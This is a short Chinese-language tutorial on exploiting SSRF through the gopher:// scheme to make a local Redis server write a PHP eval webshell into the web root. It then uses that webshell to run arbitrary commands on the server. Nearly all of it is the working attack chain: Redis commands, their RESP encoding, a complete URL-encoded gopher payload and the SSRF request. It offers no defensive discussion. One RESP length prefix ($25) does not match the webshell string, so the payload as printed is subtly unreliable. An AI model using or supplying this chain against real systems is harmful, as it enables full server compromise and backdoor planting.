### SSRF 怎么用 Redis 写 Shell

步骤一：利用 SSRF 伪造 Redis 协议请求

SSRF 攻击需要将恶意请求发送给目标服务器的 Redis 服务。这里通常需要使用 Gopher 协议。Gopher 协议可以发送自定义的 TCP 请求，这正是我们与 Redis 交互所需要的

Redis 的通信协议（RESP）是一个基于文本的协议。我们可以使用 Gopher 协议将这些命令编码成 URL 格式

Redis 命令序列：

我们通过 SSRF 漏洞向 Redis 服务器依次发送以下命令：

1. `SET webshell "<?php eval($_POST['cmd']);?>"`：设置一个键名为 `webshell`，值为我们想要写入的 Webshell 代码
2. `CONFIG SET dir "/var/www/html/"`：设置 Redis 的工作目录为网站的根目录
3. `CONFIG SET dbfilename "shell.php"`：设置持久化文件名为 `shell.php`
4. `SAVE`：执行保存命令，将数据持久化到指定的文件中

步骤二：将命令编码为 Gopher 协议 URL

我们需要将上述 Redis 命令序列转换成 Gopher URL

- 将命令转换为 RESP 协议格式：

  - `SET webshell "<?php eval($_POST['cmd']);?>"` -> `*3\r\n$3\r\nSET\r\n$7\r\nwebshell\r\n$25\r\n<?php eval($_POST['cmd']);?>\r\n`
  - `CONFIG SET dir "/var/www/html/"` -> `*4\r\n$6\r\nCONFIG\r\n$3\r\nSET\r\n$3\r\ndir\r\n$14\r\n/var/www/html/\r\n`
  - `CONFIG SET dbfilename "shell.php"` -> `*4\r\n$6\r\nCONFIG\r\n$3\r\nSET\r\n$10\r\ndbfilename\r\n$9\r\nshell.php\r\n`
  - `SAVE` -> `*1\r\n$4\r\nSAVE\r\n`

  注：`\r\n` 是回车换行符，在 URL 中需要编码为 `%0d%0a`

- 拼接成完整的 Gopher URL： `gopher://127.0.0.1:6379/_` + `[RESP 编码的命令]` + `%0d%0a` + `[RESP 编码的命令]` + ...

  一个完整的 Gopher URL 示例如下：

      gopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aSET%0d%0a$7%0d%0awebshell%0d%0a$25%0d%0a%3c%3fphp%20eval%28%24_POST%5b%27cmd%27%5d%29%3b%3f%3e%0d%0a*4%0d%0a$6%0d%0aCONFIG%0d%0a$3%0d%0aSET%0d%0a$3%0d%0adir%0d%0a$14%0d%0a/var/www/html/%0d%0a*4%0d%0a$6%0d%0aCONFIG%0d%0a$3%0d%0aSET%0d%0a$10%0d%0adbfilename%0d%0a$9%0d%0ashell.php%0d%0a*1%0d%0a$4%0d%0aSAVE%0d%0a

步骤三：通过 SSRF 漏洞发起请求

将上述构造好的 URL 作为 SSRF 漏洞的参数值，例如：

    http://example.com/ssrf.php?url=gopher://127.0.0.1:6379/_...

当服务器端执行这个请求时，它会通过 Gopher 协议向本地的 Redis 服务发送一系列命令，最终在 `/var/www/html/` 目录下生成一个名为 `shell.php` 的文件，其内容就是我们的 Webshell

步骤四：访问 Webshell

攻击者现在可以直接访问 `http://example.com/shell.php`，并通过 `cmd` 参数执行任意命令，从而完全控制服务器